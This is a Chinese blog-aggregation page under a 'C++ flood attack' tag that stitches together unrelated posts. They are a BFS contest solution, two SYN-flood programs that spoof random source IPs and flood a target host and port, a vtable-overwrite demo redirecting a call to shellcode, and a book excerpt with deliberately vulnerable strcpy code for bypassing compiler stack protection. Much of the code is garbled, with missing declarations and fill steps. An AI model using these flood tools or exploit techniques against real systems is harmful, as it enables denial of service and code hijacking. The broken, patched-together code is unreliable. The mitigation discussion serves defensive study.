c++洪水攻击
2019-06-01 16:27:18 weixin_44336954 阅读数 13
``````描述

1个整数，表示最短的到达狸的巢穴所需的时间。如果无法到达，输出"KAKTUS"

3 6
D...*.
.X.X..
....S.

6

3 3
D.*
...
..S

KAKTUS

3 3
D.*
...
.S.

3

1<= N, M <= 1000
``````

## 代码如下

``````//基于把所有信息糅合到一个标记数组...

#include <bits/stdc++.h>
using namespace std;
const int maxn = 1010;
int n, m;
int a[maxn][maxn];
int x_1, y_1, x_2, y_2;

int dir[4][2] = {{1,0},{-1,0},{0,1},{0,-1}};

bool in(int x, int y)
{
return 1 <= x && x <= n && 1 <= y && y <= m;
}
queue<pair<int, int> > qu;
void bfs1()
{
while(!qu.empty())
{
int x = qu.front().first;
int y = qu.front().second;
qu.pop();
for(int i = 0; i < 4; i++)
{
int tx = x + dir[i][0];
int ty = y + dir[i][1];
if(in(tx, ty) && a[tx][ty] == 0)
{
qu.push(make_pair(tx,ty));
a[tx][ty] = a[x][y] + 1;
}
}
}
}

int bfs2()
{
queue<pair<int, int> > qu;
qu.push(make_pair(x_1, y_1));
a[x_1][y_1] = -1;
while(!qu.empty())
{
int x = qu.front().first;
int y = qu.front().second;
qu.pop();
for(int i = 0; i < 4; i++)
{
int tx = x + dir[i][0];
int ty = y + dir[i][1];
if(tx == x_2 && ty == y_2)
return abs(a[x][y]);
if(in(tx, ty) &&(abs(a[x][y]-1) < a[tx][ty] || a[tx][ty]==0) )
{
qu.push(make_pair(tx,ty));
a[tx][ty] = a[x][y]-1;
}
}
}
return -1;
}

int main()
{
cin >> n >> m;
for(int i = 1; i <= n; i++)
{
for(int j = 1; j <= m; j++)
{
char ch;
cin >> ch;
if(ch == 'X') a[i][j] = -1;
if(ch == 'S') x_1 = i, y_1 = j;
if(ch == 'D') x_2 = i, y_2 = j, a[i][j]=-1;
if(ch == '*'){qu.push(make_pair(i,j));a[i][j]=1;}
}
}

bfs1();//void
int ans = bfs2();
if(ans == -1)
cout << "KAKTUS" << endl;
else
cout << ans << endl;//int

return 0;
}
``````

ov.

c++洪水攻击 相关内容

2012-09-12 07:09:03 zhihu008 阅读数 2573

# SYN洪水C++代码

//头文件
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib,"WS2_32.LIB")
#include <stdio.h>
#include <stdlib.h>
//////////////////////////////////////////////////////////////////////////////////
//常量
#define F_PORT 8000
#define K_PORT 8001
#define F_IP   "127.0.0.1"
#define K_IP   "127.0.0.1"
/////////////////////////////////////////////////////////////////////////////////
//变量
int DDOS_YESNO;
////////////////////////////////////////////////////////////////////////////////
//结构定义
//IP头
{
unsigned char h_verlen;//4位手部长度,和4位IP版本号
unsigned char tos;//8位类型服务
unsigned short total_len;//16位总长度
unsigned short ident;//16位标志
unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等)
unsigned char ttl;//8位生存时间
unsigned char proto;//8位协议
unsigned short checksum;//ip手部效验和
unsigned int SourceIP;//伪造IP地址
unsigned int DestIP;//攻击的ip地址
//TCP头
{
USHORT th_sport;//伪造端口
USHORT th_dport;//攻击端口
unsigned int th_seq;//32位系列号
unsigned int th_ack;//32位确认号
unsigned char th_lenres;//4位首布长度,6位保留字
unsigned char th_flag;//6位标志位
USHORT th_win;//16位窗口大小
USHORT th_sum;//16位效验和
USHORT th_urp;//
//伪TCP头
typedef struct tsd_hdr //定义TCP伪首部
{
char           mbz;
char           ptcl;     //协议类型
unsigned short tcpl;    //TCP长度

//计算校验和的函数-checksum 。。。。。。。。别处拷贝来的代码 懒得自己想了
USHORT checksum(USHORT *buffer,int size)
{
unsigned long cksum=0;
while (size>1)
{
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if (size)
{
cksum+=*(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}

////////////////////////////////////////////////////////////////////////////////
//初始化
unsigned long tsf()
{
SOCKET             sendSocket;
char               szSendBuf[1024] = "";//1024字节
{
printf("WSAStartup函数这里出错了\n");
return 0;
}

if(sendSocket=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED)==INVALID_SOCKET)
{
printf("WSASocket函数这里出错了\n");
return 0;
}

BOOL flag=1;
if(setsockopt(sendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(flag)) == SOCKET_ERROR)
{
printf("Setsockopt函数这里出错了\n");
return 0;
}
int timeout = 3000;
if(setsockopt(sendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout)) == SOCKET_ERROR)
{
printf("Setsockopt2函数这里出错了\n");
return 0;
}

Sin.sin_family = AF_INET; //sin_family 地址家族（必须是AF_INET）
Sin.sin_port=htons(F_PORT); //目标端口号（使用网络字节顺序）
char         src_ip[20] = {0};
///////////////////////////////////////////////////////////////////////////////////
//攻击开始
while(!DDOS_YESNO)
{
wsprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 ); //格式化字符串 伪造IP

//填充IP头
//填充TCP头
tcpHeader.th_seq = htonl( rand()%900000000 + 1 ); //SYN序列号
tcpHeader.th_flag = 0x02; //SYN 标志      //0,2,4,8,16,32->FIN,SYN,RST,PSH,ACK,URG

//填充TCP伪头（用于计算校验和，并不真正发送）
/////////////////////////////////////////////////////////////////////////////////////

//计算TCP校验和

//计算IP首部检验和

//用IP头和TCP头填充szSendBuf字符数组
/////////////////////////////////////////////////////////////////////////////////////
Sleep(100); //暂停(毫秒)
}

return 0;
}

#include "tsf.h"

int main(int argc, char* argv[])
{
tsf();

printf("\n");
system("pause");
return 0;
}

1创建与服务器连接的SOCKET
2构造原始数据包原是数据包的组成为 IP首部，TCP首部，据自己理解应该还可以随便加点垃圾数据加大数据包的大小把。。
3发送原始数据包。

c++洪水攻击 相关内容

2018-02-23 22:13:43 qq_19683651 阅读数 289

C++虚函数和类在内存中的位置关系

## 虚函数示例

``````/*
标题：攻击C++虚函数
操走系统：xp s3
编辑器：vc6.0
*/

#include <iostream.h>
#include <windows.h>

class People{
public:
People(char* m_id,char* m_name){
strcpy(id,m_id);
strcpy(name,m_name);
}
virtual void print(){
cout<<"I am Person\n";
cout<<"ID:\t"<<id<<endl;
cout<<"Name:\t"<<name<<endl;
}
virtual void GetName(){
cout<<"I am Person\n";
cout<<"Name:\t"<<name<<endl;
}
char name[100];
char id[100];
};

class Student:public People{
public:
virtual void print(){
cout<<"I am student . [ID] "<<id<< "\t[Name]"<<name<<endl;
GetName();
}
virtual void GetName(){
cout<<"I am Student and my name is\t"<<name<<endl;
}
};

int main(int argc,char** argv){
Student s("0001","ysy","12");
s.print();
return 0;
}``````

## 分析

c++初始化一个含有虚函数的类student，返回值为0x12fe48,查看对应内存，前四个字节为虚表地址，后面接name和id这两个成员变量。

## 如何利用

0x401450:将类的地址赋值给edx，也就是edx指向类中虚表指针
0x401453:将虚表地址赋值给eax，也就是获取虚表地址
0x40145a:获取虚表中第二个虚函数地址，也就是之前的GetName的地址

## 利用示例

``````/*
标题：攻击C++虚函数
操走系统：xp s3
编辑器：vc6.0
*/

#include <iostream.h>
#include <windows.h>

void test(){
cout<<"test\n";
}
class People{
public:
People(char* m_id,char* m_name){
strcpy(id,m_id);
strcpy(name,m_name);
}
virtual void print(){
cout<<"I am Person\n";
cout<<"ID:\t"<<id<<endl;
cout<<"Name:\t"<<name<<endl;
}
virtual void GetName(){
cout<<"I am Person\n";
cout<<"Name:\t"<<name<<endl;
}
char name[100];
char id[100];
};

class Student:public People{
public:
virtual void print(){
cout<<"I am student . [ID] "<<id<< "\t[Name]"<<name<<endl;
GetName();
}
virtual void GetName(){
cout<<"I am Student and my name is\t"<<name<<endl;
}
};

int main(int argc,char** argv){
int new_vftable[2];
new_vftable[0]=(int)&test;
new_vftable[1]=(int)&shellcode;
Student s("0001","ysy","12");
*(int*)&s=(int)&new_vftable;
s.print();
return 0;
}``````

c++洪水攻击 相关内容

2015-03-16 00:08:41 liujiayu2 阅读数 1872

==============================================================================

给Client发送拦截数据，XP SP2对raw socket有如下限制:
1) 不能通过raw socket发送TCP报文。做此尝试时会得到10004号错误。
2) 不能通过raw socket发送伪造源IP的UDP报文。
3) 不能通过raw socket发送IP碎片。做此尝试时会得到10004号错误。
因此在windows下采用libcap的发送接口。

=====================================================================

// DOS.cpp : 定义控制台应用程序的入口点。

//
#include "stdafx.h"
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <conio.h>

#pragma comment(lib, "ws2_32.lib")
#pragma pack(1)

#define SEQ 0x28376839               //随机号码

int port;                            //目标端口
char *DestIP;                        //目标IP

// 定义状态提示函数
void display(void)
{
static int play=0;

// 进度条
char *plays[12]=
{
" | ",
" / ",
" - ",
" \\ ",
" | ",
" / ",
" - ",
" \\ ",
" | ",
" / ",
" - ",
" \\ ",
};
play = (play==11) ? 0 : play+1;
}

//定义一个tcphdr结构来存放TCP首部(9个成员,20字节)
typedef struct tcphdr
{
USHORT th_sport;                    //16位源端口号
USHORT th_dport;                    //16位目的端口号
unsigned int th_seq;                //32位序列号
unsigned int th_ack;                //32位确认号
unsigned char th_lenres;            //4位首部长度+6位保留字中的4位
unsigned char th_flag;              //6位标志位
USHORT th_win;                      //16位窗口大小
USHORT th_sum;                      //16位效验和
USHORT th_urp;                      //16位紧急数据偏移量

//定义一个iphdr来存放IP首部(10个成员,20字节)
typedef struct iphdr
{
unsigned char h_verlen;              //4位首部长度，和4位IP版本号
unsigned char tos;                   //8位类型服务
unsigned short total_len;            //16位总长度
unsigned short ident;                //16位标志
unsigned short frag_and_flags;       //3位标志位（如SYN,ACK,等等)
unsigned char ttl;                   //8位生存时间TTL
unsigned char proto;                 //8位协议(TCP,UDP)
unsigned short checksum;             //16位ip首部效验和
unsigned int sourceIP;               //32位伪造IP地址
unsigned int destIP;                 //32位攻击的ip地址

//TCP伪首部，用于进行TCP效验和的计算，保证TCP效验的有效性(5个成员,12字节)
struct
{
char mbz;                           //置空
char ptcl;                          //协议类型
unsigned short tcpl;                //TCP长度

//然后计算整个IP首部的二进制反码的和。
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum += *buffer++;
size -= sizeof(USHORT);
}
if(size) cksum+=*(UCHAR*)buffer;
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (USHORT)(~cksum);
}

//synflood线程函数
{
SOCKET  sock =NULL;
int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
char        sendBuf[128];

//创建套接字
sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED);
if(sock == INVALID_SOCKET)
{
printf("Socket failed: %d\n", WSAGetLastError());
return 0;
}

//设置IP_HDRINCL以便自己填充IP首部
ErrorCode = setsockopt(sock, IPPROTO_IP,IP_HDRINCL, (char *)&flag, sizeof(int));
if(ErrorCode == SOCKET_ERROR)
{
printf("Set sockopt failed: %d\n",WSAGetLastError());
return 0;
}

//设置发送超时
ErrorCode = setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&TimeOut, sizeof(TimeOut));
if(ErrorCode == SOCKET_ERROR)
{
printf("Set sockopt time out failed: %d\n",WSAGetLastError());
return 0;
}

//设置目标地址
FakeIpHost=ntohl(FakeIpNet);

//填充IP首部

//填充TCP首部

//填充TCP伪首部

for(;;)
{
SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;
//ip头
//tcp头
//TCP伪首部

//把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和
if (retSend == SOCKET_ERROR)
{
int e = WSAGetLastError();
printf("sendto failed: %d\n",WSAGetLastError());
return 0;
}
display();
//Sleep(2000);
}

return 0;
}

//使用帮助
void usage(char *name)
{
printf("\t===================SYN Flood======================\n");
printf("\t==========gxisone@hotmail.com     2004/7/6========\n");
printf("\tExample: %s 192.168.1.1 80 100\n",name);
}

//入口函数
int _tmain(int argc, _TCHAR* argv[])
{
getch();
if(argc!=4)
{
usage(argv[0]);
return 0;
}

int ErrorCode=0;
//取得目标主机IP
DestIP=argv[1];
//取得目标端口号
port=atoi(argv[2]);
//如果线程数大于100则把线程数设置为100

{
printf("WSAStartup failed: %d\n",ErrorCode);
return 0;
}

printf("[start]...........\nPress any key to stop!\n");

//循环创建线程
{
{
Sleep(10);
}
}

Sleep(1000*500);
WSACleanup();
printf("\n[Stopd]...........\n");

return 0;
}

c++洪水攻击 相关内容

2008-11-02 10:10:00 weixin_33827590 阅读数 11
http://book.chinaunix.net/showart.php?id=418

2.5 攻击示例：对Microsoft C++编译器的攻击

Microsoft的安全特性是在面对潜在的攻击时，利用叫做“安全错误处理程序”的功能调用以防止代码受到攻击。 而某次攻击能很快被确认的事实则显示了攻击模式概念的强大作用。由于实施了安全错误处理程序，Microsoft的安全特性本身也就成了被攻击的对象。 哈！是不是比较可笑？攻击者可以发起有特殊目的的攻击，去攻击所谓的保护程序，从而可以很直接地击溃保护机制。当然这样的攻击方法属于一种新的攻击模式。

### 2.5.3 绕过Microsoft的安全特性

Code
1
2#include <stdio.h>
3#include <string.h>
4/**//*
5request_data, in parameter which contains user supplied encoded string like
7user_id, out parameter which is used to copy decoded 'user_id'.
9*/

10void decode(char *request_data, char *user_id, char *password){
11    char temp_request[64];
12    char *p_str;
13    strcpy(temp_request, request_data);
14    p_str = strtok(temp_request, "&");
15    while(p_str != NULL){
16        if (strncmp(p_str, "id="3== 0){
17            strcpy(user_id, p_str + 3 );
18        }

19        else if (strncmp(p_str, "pw="3== 0){
21        }

22        p_str = strtok(NULL, "&");
23    }

24}

25/**//*
26Any combination will fail.
27*/

29    return -1;
30}

31/**//*
32We use argv[1] to provide request string.
33*/

34int main(int argc, char ** argv)
35{
36    char user_id[32];
38    user_id[0= '\0';
40    if ( argc < 2 ) {
41        printf("Usage: victim request.\n");
42        return 0;
43    }

47        printf("Welcome!\n");
48    }

49    else{
51    }

52    return 0;
53}

### 2.5.4 解决方案

(1) 更加仔细地检查标志字段，以确保栈中变量的完整性。如果在栈中有某个变量处在缓冲区之后，那么在使用这个变量之前必须对其进行完整性检查。也可以对变量进行数据依赖性分析从而控制检查的频率。

(2) 通过重新调整栈的结构，以确保栈中变量的完整性。只要有可能，非缓冲的局部变量都应该放在缓冲区变量之前。更进一步讲，由于函数的参数被安排在了局部缓冲 区的后面(假如有的话)，它们也应该同样地放在缓冲区之前。在函数的入口地址处，局部缓冲之前，应该保留额外的栈空间，这样才能保存所有参数的副本。在函 数体中每次用到这些参数都应该用其最新的副本代替。这样的解决方法至少已经在IBM的一项工程10中得到应用。

(3) 通过提供可控写(managed-writable)机制，以确保全局变量的完整性。经常的，一些重要的全局变量会由于程序错误或是滥用全局变量使其被破 坏。利用可控写机制可以把这些全局变量存放在只读区域中。当有必要修改这些变量时，对只读区域的内存访问权限可以转变成可写。而当修改完成后，访问权限又 转变成只读。利用这样的机制，当对受保护的变量有非预期的“写”时，会违背存储访问权限。对那些在进程生命周期中只被赋值一次或者两次的变量，对这些变量 进行写控制的耗费是可以忽略不计的。

Microsoft在其后续的编译器版本中已经多多少少地采用了这些思想。

### 2.5.5 攻击回顾

 上一页 2.4 攻击模式：灾难性的蓝图 返回本书目录 下一页 2.6 应用攻击模式

c++洪水攻击 相关内容